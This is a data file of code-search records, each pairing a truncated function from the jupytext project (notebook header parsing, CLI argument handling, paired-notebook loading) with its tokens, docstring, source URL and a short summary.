Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/jupytext.py
TextNotebookConverter.writes
def writes(self, nb, metadata=None, **kwargs): """Return the text representation of the notebook""" if self.fmt.get('format_name') == 'pandoc': metadata = insert_jupytext_info_and_filter_metadata(metadata, self.ext, self.implementation) cells = [] for cell in nb.cell...
python
def writes(self, nb, metadata=None, **kwargs): """Return the text representation of the notebook""" if self.fmt.get('format_name') == 'pandoc': metadata = insert_jupytext_info_and_filter_metadata(metadata, self.ext, self.implementation) cells = [] for cell in nb.cell...
[ "def", "writes", "(", "self", ",", "nb", ",", "metadata", "=", "None", ",", "*", "*", "kwargs", ")", ":", "if", "self", ".", "fmt", ".", "get", "(", "'format_name'", ")", "==", "'pandoc'", ":", "metadata", "=", "insert_jupytext_info_and_filter_metadata", ...
Return the text representation of the notebook
[ "Return", "the", "text", "representation", "of", "the", "notebook" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L92-L178
train
Returns the text representation of the notebook
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/header.py
uncomment_line
def uncomment_line(line, prefix): """Remove prefix (and space) from line""" if not prefix: return line if line.startswith(prefix + ' '): return line[len(prefix) + 1:] if line.startswith(prefix): return line[len(prefix):] return line
python
def uncomment_line(line, prefix): """Remove prefix (and space) from line""" if not prefix: return line if line.startswith(prefix + ' '): return line[len(prefix) + 1:] if line.startswith(prefix): return line[len(prefix):] return line
[ "def", "uncomment_line", "(", "line", ",", "prefix", ")", ":", "if", "not", "prefix", ":", "return", "line", "if", "line", ".", "startswith", "(", "prefix", "+", "' '", ")", ":", "return", "line", "[", "len", "(", "prefix", ")", "+", "1", ":", "]",...
Remove prefix (and space) from line
[ "Remove", "prefix", "(", "and", "space", ")", "from", "line" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L40-L48
train
Remove prefix and space from line
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/header.py
encoding_and_executable
def encoding_and_executable(notebook, metadata, ext): """Return encoding and executable lines for a notebook, if applicable""" lines = [] comment = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment') jupytext_metadata = metadata.get('jupytext', {}) if ext not in ['.Rmd', '.md'] and 'executable' in jupyt...
python
def encoding_and_executable(notebook, metadata, ext): """Return encoding and executable lines for a notebook, if applicable""" lines = [] comment = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment') jupytext_metadata = metadata.get('jupytext', {}) if ext not in ['.Rmd', '.md'] and 'executable' in jupyt...
[ "def", "encoding_and_executable", "(", "notebook", ",", "metadata", ",", "ext", ")", ":", "lines", "=", "[", "]", "comment", "=", "_SCRIPT_EXTENSIONS", ".", "get", "(", "ext", ",", "{", "}", ")", ".", "get", "(", "'comment'", ")", "jupytext_metadata", "=...
Return encoding and executable lines for a notebook, if applicable
[ "Return", "encoding", "and", "executable", "lines", "for", "a", "notebook", "if", "applicable" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L51-L70
train
Return the encoding and executable lines for a notebook if applicable
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/header.py
insert_jupytext_info_and_filter_metadata
def insert_jupytext_info_and_filter_metadata(metadata, ext, text_format): """Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter""" if insert_or_test_version_number(): metadata.setdefault('jupytext', {})['text_represe...
python
def insert_jupytext_info_and_filter_metadata(metadata, ext, text_format): """Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter""" if insert_or_test_version_number(): metadata.setdefault('jupytext', {})['text_represe...
[ "def", "insert_jupytext_info_and_filter_metadata", "(", "metadata", ",", "ext", ",", "text_format", ")", ":", "if", "insert_or_test_version_number", "(", ")", ":", "metadata", ".", "setdefault", "(", "'jupytext'", ",", "{", "}", ")", "[", "'text_representation'", ...
Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter
[ "Update", "the", "notebook", "metadata", "to", "include", "Jupytext", "information", "and", "filter", "the", "notebook", "metadata", "according", "to", "the", "default", "or", "user", "filter" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L73-L87
train
Insert Jupytext information into the notebook metadata.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/header.py
metadata_and_cell_to_header
def metadata_and_cell_to_header(notebook, metadata, text_format, ext): """ Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header """ header = [] lines_to_next_cell = None if notebook.cells: cell = notebook.cells[0] ...
python
def metadata_and_cell_to_header(notebook, metadata, text_format, ext): """ Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header """ header = [] lines_to_next_cell = None if notebook.cells: cell = notebook.cells[0] ...
[ "def", "metadata_and_cell_to_header", "(", "notebook", ",", "metadata", ",", "text_format", ",", "ext", ")", ":", "header", "=", "[", "]", "lines_to_next_cell", "=", "None", "if", "notebook", ".", "cells", ":", "cell", "=", "notebook", ".", "cells", "[", "...
Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header
[ "Return", "the", "text", "header", "corresponding", "to", "a", "notebook", "and", "remove", "the", "first", "cell", "of", "the", "notebook", "if", "it", "contained", "the", "header" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L90-L118
train
Return the text header corresponding to a notebook and remove the header corresponding to a notebook and remove the header corresponding to a notebook and remove the header corresponding to the notebook if it contained the header.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/header.py
header_to_metadata_and_cell
def header_to_metadata_and_cell(lines, header_prefix, ext=None): """ Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text """ header = [] jupyter = [] injupyter =...
python
def header_to_metadata_and_cell(lines, header_prefix, ext=None): """ Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text """ header = [] jupyter = [] injupyter =...
[ "def", "header_to_metadata_and_cell", "(", "lines", ",", "header_prefix", ",", "ext", "=", "None", ")", ":", "header", "=", "[", "]", "jupyter", "=", "[", "]", "injupyter", "=", "False", "ended", "=", "False", "metadata", "=", "{", "}", "start", "=", "...
Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text
[ "Return", "the", "metadata", "a", "boolean", "to", "indicate", "if", "a", "jupyter", "section", "was", "found", "the", "first", "cell", "of", "notebook", "if", "some", "metadata", "is", "found", "outside", "of", "the", "jupyter", "section", "and", "next", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L121-L201
train
Return the metadata and cell of a jupyter notebook header.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
system
def system(*args, **kwargs): """Execute the given bash command""" kwargs.setdefault('stdout', subprocess.PIPE) proc = subprocess.Popen(args, **kwargs) out, _ = proc.communicate() if proc.returncode: raise SystemExit(proc.returncode) return out.decode('utf-8')
python
def system(*args, **kwargs): """Execute the given bash command""" kwargs.setdefault('stdout', subprocess.PIPE) proc = subprocess.Popen(args, **kwargs) out, _ = proc.communicate() if proc.returncode: raise SystemExit(proc.returncode) return out.decode('utf-8')
[ "def", "system", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "kwargs", ".", "setdefault", "(", "'stdout'", ",", "subprocess", ".", "PIPE", ")", "proc", "=", "subprocess", ".", "Popen", "(", "args", ",", "*", "*", "kwargs", ")", "out", ",",...
Execute the given bash command
[ "Execute", "the", "given", "bash", "command" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L20-L27
train
Execute the given bash command and return the output as a unicode string.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
str2bool
def str2bool(value): """Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse""" if value.lower() in ('yes', 'true', 't', 'y', '1'): return True if value.lower() in ('no', 'false', 'f', 'n', '0'): return False if value.lower() i...
python
def str2bool(value): """Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse""" if value.lower() in ('yes', 'true', 't', 'y', '1'): return True if value.lower() in ('no', 'false', 'f', 'n', '0'): return False if value.lower() i...
[ "def", "str2bool", "(", "value", ")", ":", "if", "value", ".", "lower", "(", ")", "in", "(", "'yes'", ",", "'true'", ",", "'t'", ",", "'y'", ",", "'1'", ")", ":", "return", "True", "if", "value", ".", "lower", "(", ")", "in", "(", "'no'", ",", ...
Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse
[ "Parse", "Yes", "/", "No", "/", "Default", "string", "https", ":", "//", "stackoverflow", ".", "com", "/", "questions", "/", "15008758", "/", "parsing", "-", "boolean", "-", "values", "-", "with", "-", "argparse" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L30-L39
train
Parse yes no default string
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
parse_jupytext_args
def parse_jupytext_args(args=None): """Command line parser for jupytext""" parser = argparse.ArgumentParser( description='Jupyter notebooks as markdown documents, Julia, Python or R scripts', formatter_class=argparse.RawTextHelpFormatter) # Input parser.add_argument('notebooks', ...
python
def parse_jupytext_args(args=None): """Command line parser for jupytext""" parser = argparse.ArgumentParser( description='Jupyter notebooks as markdown documents, Julia, Python or R scripts', formatter_class=argparse.RawTextHelpFormatter) # Input parser.add_argument('notebooks', ...
[ "def", "parse_jupytext_args", "(", "args", "=", "None", ")", ":", "parser", "=", "argparse", ".", "ArgumentParser", "(", "description", "=", "'Jupyter notebooks as markdown documents, Julia, Python or R scripts'", ",", "formatter_class", "=", "argparse", ".", "RawTextHelp...
Command line parser for jupytext
[ "Command", "line", "parser", "for", "jupytext" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L42-L135
train
Parse the arguments passed to the jupytext command line.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
jupytext_cli
def jupytext_cli(args=None): """Entry point for the jupytext script""" try: jupytext(args) except (ValueError, TypeError, IOError) as err: sys.stderr.write('[jupytext] Error: ' + str(err) + '\n') exit(1)
python
def jupytext_cli(args=None): """Entry point for the jupytext script""" try: jupytext(args) except (ValueError, TypeError, IOError) as err: sys.stderr.write('[jupytext] Error: ' + str(err) + '\n') exit(1)
[ "def", "jupytext_cli", "(", "args", "=", "None", ")", ":", "try", ":", "jupytext", "(", "args", ")", "except", "(", "ValueError", ",", "TypeError", ",", "IOError", ")", "as", "err", ":", "sys", ".", "stderr", ".", "write", "(", "'[jupytext] Error: '", ...
Entry point for the jupytext script
[ "Entry", "point", "for", "the", "jupytext", "script" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L138-L144
train
Entry point for the jupytext script
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
jupytext
def jupytext(args=None): """Internal implementation of Jupytext command line""" args = parse_jupytext_args(args) def log(text): if not args.quiet: sys.stdout.write(text + '\n') if args.version: log(__version__) return 0 if args.pre_commit: if args.noteb...
python
def jupytext(args=None): """Internal implementation of Jupytext command line""" args = parse_jupytext_args(args) def log(text): if not args.quiet: sys.stdout.write(text + '\n') if args.version: log(__version__) return 0 if args.pre_commit: if args.noteb...
[ "def", "jupytext", "(", "args", "=", "None", ")", ":", "args", "=", "parse_jupytext_args", "(", "args", ")", "def", "log", "(", "text", ")", ":", "if", "not", "args", ".", "quiet", ":", "sys", ".", "stdout", ".", "write", "(", "text", "+", "'\\n'",...
Internal implementation of Jupytext command line
[ "Internal", "implementation", "of", "Jupytext", "command", "line" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L147-L332
train
Internal implementation of Jupytext command line
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
notebooks_in_git_index
def notebooks_in_git_index(fmt): """Return the list of modified and deleted ipynb files in the git index that match the given format""" git_status = system('git', 'status', '--porcelain') re_modified = re.compile(r'^[AM]+\s+(?P<name>.*)', re.MULTILINE) modified_files_in_git_index = re_modified.findall(g...
python
def notebooks_in_git_index(fmt): """Return the list of modified and deleted ipynb files in the git index that match the given format""" git_status = system('git', 'status', '--porcelain') re_modified = re.compile(r'^[AM]+\s+(?P<name>.*)', re.MULTILINE) modified_files_in_git_index = re_modified.findall(g...
[ "def", "notebooks_in_git_index", "(", "fmt", ")", ":", "git_status", "=", "system", "(", "'git'", ",", "'status'", ",", "'--porcelain'", ")", "re_modified", "=", "re", ".", "compile", "(", "r'^[AM]+\\s+(?P<name>.*)'", ",", "re", ".", "MULTILINE", ")", "modifie...
Return the list of modified and deleted ipynb files in the git index that match the given format
[ "Return", "the", "list", "of", "modified", "and", "deleted", "ipynb", "files", "in", "the", "git", "index", "that", "match", "the", "given", "format" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L335-L349
train
Return the list of modified and deleted ipynb files in the git index that match the given format
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
print_paired_paths
def print_paired_paths(nb_file, fmt): """Display the paired paths for this notebook""" notebook = readf(nb_file, fmt) formats = notebook.metadata.get('jupytext', {}).get('formats') if formats: for path, _ in paired_paths(nb_file, fmt, formats): if path != nb_file: sys...
python
def print_paired_paths(nb_file, fmt): """Display the paired paths for this notebook""" notebook = readf(nb_file, fmt) formats = notebook.metadata.get('jupytext', {}).get('formats') if formats: for path, _ in paired_paths(nb_file, fmt, formats): if path != nb_file: sys...
[ "def", "print_paired_paths", "(", "nb_file", ",", "fmt", ")", ":", "notebook", "=", "readf", "(", "nb_file", ",", "fmt", ")", "formats", "=", "notebook", ".", "metadata", ".", "get", "(", "'jupytext'", ",", "{", "}", ")", ".", "get", "(", "'formats'", ...
Display the paired paths for this notebook
[ "Display", "the", "paired", "paths", "for", "this", "notebook" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L352-L359
train
Print the paired paths for this notebook
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
recursive_update
def recursive_update(target, update): """ Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth """ for key in update: value = update[key] if value is None: ...
python
def recursive_update(target, update): """ Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth """ for key in update: value = update[key] if value is None: ...
[ "def", "recursive_update", "(", "target", ",", "update", ")", ":", "for", "key", "in", "update", ":", "value", "=", "update", "[", "key", "]", "if", "value", "is", "None", ":", "del", "target", "[", "key", "]", "elif", "isinstance", "(", "value", ","...
Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth
[ "Update", "recursively", "a", "(", "nested", ")", "dictionary", "with", "the", "content", "of", "another", ".", "Inspired", "from", "https", ":", "//", "stackoverflow", ".", "com", "/", "questions", "/", "3232943", "/", "update", "-", "value", "-", "of", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L362-L374
train
Recursively updates a nested dictionary with the content of another.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
set_format_options
def set_format_options(fmt, format_options): """Apply the desired format options to the format description fmt""" if not format_options: return for opt in format_options: try: key, value = opt.split('=') except ValueError: raise ValueError("Format options are...
python
def set_format_options(fmt, format_options): """Apply the desired format options to the format description fmt""" if not format_options: return for opt in format_options: try: key, value = opt.split('=') except ValueError: raise ValueError("Format options are...
[ "def", "set_format_options", "(", "fmt", ",", "format_options", ")", ":", "if", "not", "format_options", ":", "return", "for", "opt", "in", "format_options", ":", "try", ":", "key", ",", "value", "=", "opt", ".", "split", "(", "'='", ")", "except", "Valu...
Apply the desired format options to the format description fmt
[ "Apply", "the", "desired", "format", "options", "to", "the", "format", "description", "fmt" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L377-L395
train
Apply the desired format options to the format description fmt
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
set_prefix_and_suffix
def set_prefix_and_suffix(fmt, notebook, nb_file): """Add prefix and suffix information from jupytext.formats if format and path matches""" for alt_fmt in long_form_multiple_formats(notebook.metadata.get('jupytext', {}).get('formats')): if (alt_fmt['extension'] == fmt['extension'] and fm...
python
def set_prefix_and_suffix(fmt, notebook, nb_file): """Add prefix and suffix information from jupytext.formats if format and path matches""" for alt_fmt in long_form_multiple_formats(notebook.metadata.get('jupytext', {}).get('formats')): if (alt_fmt['extension'] == fmt['extension'] and fm...
[ "def", "set_prefix_and_suffix", "(", "fmt", ",", "notebook", ",", "nb_file", ")", ":", "for", "alt_fmt", "in", "long_form_multiple_formats", "(", "notebook", ".", "metadata", ".", "get", "(", "'jupytext'", ",", "{", "}", ")", ".", "get", "(", "'formats'", ...
Add prefix and suffix information from jupytext.formats if format and path matches
[ "Add", "prefix", "and", "suffix", "information", "from", "jupytext", ".", "formats", "if", "format", "and", "path", "matches" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L398-L408
train
Add prefix and suffix information from jupytext. formats.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/cli.py
load_paired_notebook
def load_paired_notebook(notebook, fmt, nb_file, log): """Update the notebook with the inputs and outputs of the most recent paired files""" formats = notebook.metadata.get('jupytext', {}).get('formats') if not formats: raise ValueError("'{}' is not a paired notebook".format(nb_file)) max_mtim...
python
def load_paired_notebook(notebook, fmt, nb_file, log): """Update the notebook with the inputs and outputs of the most recent paired files""" formats = notebook.metadata.get('jupytext', {}).get('formats') if not formats: raise ValueError("'{}' is not a paired notebook".format(nb_file)) max_mtim...
[ "def", "load_paired_notebook", "(", "notebook", ",", "fmt", ",", "nb_file", ",", "log", ")", ":", "formats", "=", "notebook", ".", "metadata", ".", "get", "(", "'jupytext'", ",", "{", "}", ")", ".", "get", "(", "'formats'", ")", "if", "not", "formats",...
Update the notebook with the inputs and outputs of the most recent paired files
[ "Update", "the", "notebook", "with", "the", "inputs", "and", "outputs", "of", "the", "most", "recent", "paired", "files" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
